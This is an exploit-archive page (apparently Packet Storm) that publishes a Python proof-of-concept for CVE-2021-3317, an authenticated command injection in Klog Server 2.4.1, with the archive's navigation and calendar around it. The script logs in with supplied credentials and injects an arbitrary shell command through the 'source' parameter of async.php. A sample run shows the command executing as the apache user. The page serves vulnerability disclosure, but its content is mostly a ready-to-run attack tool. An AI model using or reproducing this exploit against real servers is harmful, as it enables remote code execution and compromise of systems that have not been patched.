what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Klog Server 2.4.1 Command Injection

Klog Server 2.4.1 Command Injection
Posted Feb 1, 2021
Authored by Metin Yunus Kandemir

Klog Server version 2.4.1 remote command injection exploit.

tags | exploit, remote
advisories | CVE-2021-3317
SHA-256 | 99012dfbcefb01247d5d331d8643bce4efa6371eef0857ac2fc0aa91cc3e96a4

Klog Server 2.4.1 Command Injection

Change Mirror Download
# Exploit Title: Klog Server 2.4.1 - Command Injection (Authenticated)
# Date: 26.01.2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.klogserver.com/
# Version: 2.4.1
# Description: https://docs.unsafe-inline.com/0day/klog-server-authenticated-command-injection
# CVE: 2021-3317

"""
Description:
"source" parameter is executed via shell_exec() function without input validation in async.php file.

Example:
python3 PoC.py --target 10.10.56.51 --username admin --password admin --command id
[*] Status Code for login request: 302
[+] Authentication was successful!
[*] Exploiting...

uid=48(apache) gid=48(apache) groups=48(apache)

"""

import argparse
import requests
import sys
import urllib3
from argparse import ArgumentParser, Namespace


def main():
dsc = "Klog Server 2.4.1 - Command Injection (Authenticated)"
parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
parser.add_argument("--target", help="IPv4 address of Cockpit server", type=str, required=True)
parser.add_argument("--username", help="Username", type=str, required=True)
parser.add_argument("--password", help="Password", type=str, required=True)
parser.add_argument("--command", help="Command", type=str, required=True)
args: Namespace = parser.parse_args()
if args.target:
target = args.target
if args.username:
username = args.username
if args.password:
password = args.password
if args.command:
command = args.command

exploit(target, username, password, command)


def exploit(target, username, password, command):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}

data = {"user" : username, "pswd" : password}

login = s.post("https://" + target + "/actions/authenticate.php" , data=data, headers=headers, allow_redirects=False, verify=False)
print("[*] Status Code for login request: " + str(login.status_code))

if login.status_code == 302:
check = s.get("https://" + target + "/index.php", allow_redirects=False, verify=False)
if check.status_code == 200:
print("[+] Authentication was successful!")
else:
print("[-] Authentication was unsuccessful!")
sys.exit(1)
else:
print("Something went wrong!")
sys.exit(1)

print("[*] Exploiting...\n")

executeCommand = s.get("https://" + target + "/actions/async.php?action=stream&source=;"+ command +";", allow_redirects=False, verify=False)
print(executeCommand.text)
sys.exit(0)

if __name__ == '__main__':
main()

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close